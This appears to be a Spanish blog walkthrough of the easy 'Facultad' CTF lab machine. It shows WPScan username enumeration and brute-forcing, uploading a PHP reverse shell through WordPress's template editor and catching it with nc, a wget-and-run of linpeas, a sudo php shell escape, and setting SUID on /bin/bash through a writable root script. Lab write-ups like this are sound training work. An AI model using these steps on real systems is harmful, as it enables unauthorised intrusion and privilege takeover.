The Hackers Labs Facultad (Linux, Fácil)

Descripción de la máquina

La máquina Facultad es un reto CTF linux de dificultad fácil enfocado en enumeración, explotación web y escalada de privilegios.
Se realizan las siguientes tareas para su resolución:

  • Detección de CMS en sitio web.
  • Enumeración de usuarios en la aplicación web.
  • Carga de shell reversa a través del gestor de plantillas.
  • Identificación y análisis de archivos ocultos o cifrados.
  • Escalada final a root mediante abuso de script ejecutable con privilegios elevados.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Facultad realizando la enumeración de los servicios disponibles.

nmap -p- -Pn -n --min-rate 2500 192.168.1.16 

Se han enumerado los puertos 22 y 80 abiertos en la máquina Facultad. Continuamos con la enumeración profunda de los servicios encontrados.

nmap -p22,80 -sVC -Pn -n 192.168.1.16

Enumeración Web

Accedemos al sitio Web corriendo en el puerto 80.

Enumeramos directorios y archivos.

dirsearch -u http://192.168.1.16/ -i 200,301

Vemos el contenido del directorio /images

En el directorio /education parece que está corriendo un CMS WordPress

Sabiendo esto, con la herramienta WPScan vamos a enuemrar este sitio Web.

wpscan --url http://192.168.1.16/education/ -e u

Localizamos el usuario «facultad»
También realizamos la enumeración manual de usuarios:

http://192.168.1.16/education/?author=1

Nombres de usuario: facultad, Facultad
Vamos a tratar de localizar credenciales para los usuarios que hemos localizado.

wpscan --url http://192.168.1.16/education/ --usernames Facultad, facultad --passwords /home/kali/Downloads/rockyou.txt
  • facultad: asdfghjkl
  • Facultad: asdfghjkl

Acceso al equipo

Una vez obtenidas las credenciales, vamos a tratar de iniciar sesión en el panel de administración.

Registramos el dominio en el archivo /etc/hosts

Analizando el sitio Web, encontramos una funcionalidad de gestión para las templates de WP. Vamos a tratar de cargar una reverse Shell PHP en el gestor. Utilizaremos la reverse Shell de Pentest Monkey.

https://www.revshells.com/

Vamos a cargar la shell PHP en el administrador de plantillas de WordPress.

Ya está subido el archivo al servidor Web. Accedemos al siguiente sitio Web para activar la shell. http://facultad.thl/educacion/shell.php

Pero antes configuraremos un oyente nc en nuestra máquina de ataque.

nc -lnvp 1234

Obtenemos acceso al sitio Web

En el directorio /home/vivian localizamos la flag user.txt

Pivotando a usuario gabri

Comenzamos la enumeración de posibles vectores de elevación de privilegios consultando binarios que se pueden ejecutar por usuarios estandar con permisos elevados. en este caso www-data puede ejecutar comandos como usuario gabri.

sudo -l

Comprobamos que el usuario wwa-data puede ejecutar php con privilegios de usuario gabri. Vamos a investigar como aprovechar este vector para pivotar de usuario.

sudo -u gabri php -r "system('/bin/bash');"

Pivotando a usuario vivian

Descargamos la herramienta linpeas

Y la transferimos al objetivo utilizando un servidor http pyhon.

python3 -m http.server

Y en la máquina objetivo en el directorio /tmp

wget 192.168.1.11:8000/linpeas.sh
chmod +x linpeas.sh
./linepas.sh

Localizamos un directorio interesante

Y en el directorio encontramos un archivo .password_vivian.bf

En el archivo anterior encontramos un cifrado, posiblemente brainfuck.
Vamos a tratar de descifrarlo.

Obtenemos la contraseña posiblemente del usuario vivian

Obtenemos acceso al sistema como usuario Vivian.

Elevación de privilegios

Si volvemos a ejecutar sudo -l, comprobamos que el usuario vivian puede ejecutar un script como usuario root.

Vamos a comprobar si podemos modificar el archivo.

Tenemos permisos de lectura sobre el archivo.
Vamos a sobreescribir el fichero para dar SUID a bash para poder convertirnos en Root.

echo "chmod u+s /bin/bash" > /opt/vivian/script.sh

Una vez que modificamos el archivo script.sh y lo ejecutamos como sudo, otorgamos el bit SUID al bianrio bash. Para elevar privilegios utilziando bash:

Y ya obtendremos permisos elevados en el sistema.

Y obtendremos la flag root en el directorio /root.

Tags:

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *